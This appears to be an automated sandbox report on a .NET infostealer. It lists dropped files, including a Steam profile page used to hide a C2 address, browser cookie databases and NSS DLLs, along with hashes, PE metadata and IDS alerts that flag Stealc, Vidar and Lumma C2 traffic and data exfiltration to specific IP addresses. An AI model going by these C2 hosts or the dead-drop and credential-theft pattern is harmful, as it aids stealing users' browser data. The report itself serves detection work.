Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: u55u https://49.12.197.9\|</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english" rel="stylesheet" type="text/css" >.<link href=

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\76561199780418869[2].htm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3070), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	34879
Entropy (8bit):	5.398225393024057
Encrypted:	false
SSDEEP:	768:Mdpqme0Ih+3tAA6WGgefcDAhTBv++nIjBtPF5zfJkPVoEAdLTBv++nIjBtPF5x2k:Md8me0Ih+3tAA6WGgeFhTBv++nIjBtPQ
MD5:	CC602F8B03D4C671B150332CAD656845
SHA1:	E634DB44267B23C61EA83C585582A7A78CAB0046
SHA-256:	2BFCF56A10E3DAF076203987685BC75EA09D25D114E783B4E2DCD68B41FCF02E
SHA-512:	9DE7C4D1FD839A6057FFA4DDB2B2A8593F94B08CDE5228747104D4551A2C8AD733F2D1456053181EC4FCD3831067822CF337196E414128E29F89CD86A43367C5
Malicious:	false
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: u55u https://49.12.197.9\|</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english" rel="stylesheet" type="text/css" >.<link href=

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\delays.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	1048575
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:jQ2222222222222222222222222222222222222222222222222222222222222I:jI
MD5:	3FD1983796A74435E9F0AAC7E530AAE6
SHA1:	F69C1A012F94BB4C795641CF1CF113E9F57DA7EC
SHA-256:	4FB2C7C864BA017278DFC5915374A1D4AEBA458EB8CC6DA0A2D31BB8357520F6
SHA-512:	CD224B47E2437291AB0D09EDD263904BDBDDA513917D9A811BAAB99AD85E98202F5E149CA1A1C44DB750A0A44536FEBA306DCD0395BCA0B0077E55C23CCFCA57
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.988888486938639
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	423'840 bytes
MD5:	dfd320ab72a577bcadcfd172f92d17b2
SHA1:	93050cf3a0756713427d95fd588a471ad2b5c1df
SHA256:	942b0ba35652330e8701f18d7208e4ae9773d71d7e464375f0366c576e8d196b
SHA512:	0b59ae6d00831a7c897ababc7bb2b0a73e91e4998ea61451c26dbc197dac14c6cc78d375d643f59c845f796ce9ec55138cc9b361ef6d503db358981645878444
SSDEEP:	12288:lIpGy9kwbUhpXP22LFVazExv/EIARvVB4EO:6/9RAh922XazExEvVOt
TLSH:	9894235587910C4EDA078B3636CBF74BAB306B326D4549C332AE9016CF483E35F46BA9
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................. ...........>... ...@....@.. ....................................`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x463eee
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66FBF7E9 [Tue Oct 1 13:23:53 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/01/2023 00:00:00 16/01/2026 23:59:59
Subject Chain	CN=NVIDIA Corporation, OU=2-J, O=NVIDIA Corporation, L=Santa Clara, S=California, C=US
Version:	3
Thumbprint MD5:	5F1B6B6C408DB2B4D60BAA489E9A0E5A
Thumbprint SHA-1:	15F760D82C79D22446CC7D4806540BF632B1E104
Thumbprint SHA-256:	28AF76241322F210DA473D9569EFF6F27124C4CA9F43933DA547E8D068B0A95D
Serial:	0997C56CAA59055394D9A9CDB8BEEB56

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x63e98	0x53	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x64000	0x242	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x65178	0x2628
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x66000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x63d60	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x61ef4	0x62000	b5cf116ba7a1d508437f07609f95ff01	False	0.9935576769770408	data	7.995876381016805	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x64000	0x242	0x400	de587f26ae0fb3240b210085d083946f	False	0.302734375	data	3.526286411687027	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x66000	0xc	0x200	510f6a9bc27dfad9587804d9d6da11f6	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x64058	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-02T05:19:17.355447+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49740	49.12.197.9	443	TCP
2024-10-02T05:19:18.509281+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49741	49.12.197.9	443	TCP
2024-10-02T05:19:19.913940+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49742	49.12.197.9	443	TCP
2024-10-02T05:19:20.649225+0200	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	192.168.2.4	49742	49.12.197.9	443	TCP
2024-10-02T05:19:21.351435+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49743	49.12.197.9	443	TCP
2024-10-02T05:19:22.041054+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	49.12.197.9	443	192.168.2.4	49743	TCP
2024-10-02T05:19:22.711225+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49744	49.12.197.9	443	TCP
2024-10-02T05:19:23.408023+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	49.12.197.9	443	192.168.2.4	49744	TCP
2024-10-02T05:19:24.142443+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49745	49.12.197.9	443	TCP
2024-10-02T05:19:25.118692+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49746	49.12.197.9	443	TCP
2024-10-02T05:19:28.100007+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49747	49.12.197.9	443	TCP
2024-10-02T05:19:29.896544+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49748	49.12.197.9	443	TCP
2024-10-02T05:19:31.197703+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49749	49.12.197.9	443	TCP
2024-10-02T05:19:32.279583+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49750	49.12.197.9	443	TCP
2024-10-02T05:19:33.344126+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49751	49.12.197.9	443	TCP
2024-10-02T05:19:35.059909+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49752	49.12.197.9	443	TCP
2024-10-02T05:19:36.730838+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49753	49.12.197.9	443	TCP
2024-10-02T05:19:38.281239+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49754	49.12.197.9	443	TCP
2024-10-02T05:19:39.724973+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49755	49.12.197.9	443	TCP
2024-10-02T05:19:40.975373+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49756	49.12.197.9	443	TCP
2024-10-02T05:19:43.933543+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49757	49.12.197.9	443	TCP
2024-10-02T05:19:45.246297+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49758	49.12.197.9	443	TCP
2024-10-02T05:19:46.615944+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49759	49.12.197.9	443	TCP
2024-10-02T05:19:48.090718+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49760	49.12.197.9	443	TCP
2024-10-02T05:19:50.151507+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49761	49.12.197.9	443	TCP
2024-10-02T05:19:52.170263+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49763	49.12.197.9	443	TCP
2024-10-02T05:19:53.637240+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49764	147.45.44.104	80	TCP
2024-10-02T05:19:54.970461+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49765	49.12.197.9	443	TCP
2024-10-02T05:19:56.127501+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49764	147.45.44.104	80	TCP
2024-10-02T05:19:56.580727+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49766	104.21.77.132	443	TCP
2024-10-02T05:19:56.580727+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49766	104.21.77.132	443	TCP
2024-10-02T05:19:57.512516+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49768	49.12.197.9	443	TCP
2024-10-02T05:19:57.662807+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49767	188.114.97.3	443	TCP
2024-10-02T05:19:57.662807+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49767	188.114.97.3	443	TCP
2024-10-02T05:19:58.629366+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49769	172.67.152.190	443	TCP
2024-10-02T05:19:58.629366+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49769	172.67.152.190	443	TCP
2024-10-02T05:19:58.639608+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49764	147.45.44.104	80	TCP
2024-10-02T05:19:59.544635+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49771	49.12.197.9	443	TCP
2024-10-02T05:19:59.558942+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49770	172.67.184.196	443	TCP
2024-10-02T05:19:59.558942+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49770	172.67.184.196	443	TCP
2024-10-02T05:20:00.686604+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49772	104.21.18.193	443	TCP
2024-10-02T05:20:00.686604+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49772	104.21.18.193	443	TCP
2024-10-02T05:20:01.142577+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49773	49.12.197.9	443	TCP
2024-10-02T05:20:01.666710+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49774	104.21.21.3	443	TCP
2024-10-02T05:20:01.666710+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49774	104.21.21.3	443	TCP
2024-10-02T05:20:01.762943+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49775	46.8.231.109	80	TCP
2024-10-02T05:20:01.943745+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49775	46.8.231.109	80	TCP
2024-10-02T05:20:01.954891+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	46.8.231.109	80	192.168.2.4	49775	TCP
2024-10-02T05:20:02.130021+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49775	46.8.231.109	80	TCP
2024-10-02T05:20:02.391292+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	46.8.231.109	80	192.168.2.4	49775	TCP
2024-10-02T05:20:02.801256+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49776	104.21.17.174	443	TCP
2024-10-02T05:20:02.801256+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49776	104.21.17.174	443	TCP
2024-10-02T05:20:02.847259+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49775	46.8.231.109	80	TCP
2024-10-02T05:20:02.848551+0200	2054495	ET MALWARE Vidar Stealer Form Exfil	1	192.168.2.4	49777	45.132.206.251	80	TCP
2024-10-02T05:20:03.050228+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49775	46.8.231.109	80	TCP
2024-10-02T05:20:05.046049+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49779	104.21.16.12	443	TCP
2024-10-02T05:20:05.046049+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49779	104.21.16.12	443	TCP
2024-10-02T05:20:06.527723+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49775	46.8.231.109	80	TCP
2024-10-02T05:20:07.356373+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49775	46.8.231.109	80	TCP
2024-10-02T05:20:07.977742+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49780	46.8.231.109	80	TCP
2024-10-02T05:20:08.702112+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49780	46.8.231.109	80	TCP
2024-10-02T05:20:09.334117+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49781	46.8.231.109	80	TCP
2024-10-02T05:20:09.897722+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49781	46.8.231.109	80	TCP
2024-10-02T05:20:11.785853+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49782	147.45.44.104	80	TCP
2024-10-02T05:20:12.786858+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49782	147.45.44.104	80	TCP
2024-10-02T05:20:15.571301+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49784	104.21.77.132	443	TCP
2024-10-02T05:20:15.571301+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49784	104.21.77.132	443	TCP
2024-10-02T05:20:16.180657+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49785	49.12.197.9	443	TCP
2024-10-02T05:20:16.476914+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49786	188.114.97.3	443	TCP
2024-10-02T05:20:16.476914+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49786	188.114.97.3	443	TCP
2024-10-02T05:20:17.399810+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49787	172.67.152.190	443	TCP
2024-10-02T05:20:17.399810+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49787	172.67.152.190	443	TCP
2024-10-02T05:20:17.457296+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49788	49.12.197.9	443	TCP
2024-10-02T05:20:18.342011+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49789	172.67.184.196	443	TCP
2024-10-02T05:20:18.342011+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49789	172.67.184.196	443	TCP
2024-10-02T05:20:18.814037+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49790	49.12.197.9	443	TCP
2024-10-02T05:20:19.283075+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49791	104.21.18.193	443	TCP
2024-10-02T05:20:19.283075+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49791	104.21.18.193	443	TCP
2024-10-02T05:20:20.179110+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49792	104.21.21.3	443	TCP
2024-10-02T05:20:20.179110+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49792	104.21.21.3	443	TCP
2024-10-02T05:20:20.186326+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49793	49.12.197.9	443	TCP
2024-10-02T05:20:20.894283+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	49.12.197.9	443	192.168.2.4	49793	TCP
2024-10-02T05:20:21.124607+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49794	104.21.17.174	443	TCP
2024-10-02T05:20:21.124607+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49794	104.21.17.174	443	TCP
2024-10-02T05:20:21.549263+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49795	49.12.197.9	443	TCP
2024-10-02T05:20:22.266674+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	49.12.197.9	443	192.168.2.4	49795	TCP
2024-10-02T05:20:23.000595+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49797	49.12.197.9	443	TCP
2024-10-02T05:20:23.290406+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49798	104.21.16.12	443	TCP
2024-10-02T05:20:23.290406+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49798	104.21.16.12	443	TCP
2024-10-02T05:20:23.998304+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49799	49.12.197.9	443	TCP
2024-10-02T05:20:27.085315+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49800	49.12.197.9	443	TCP
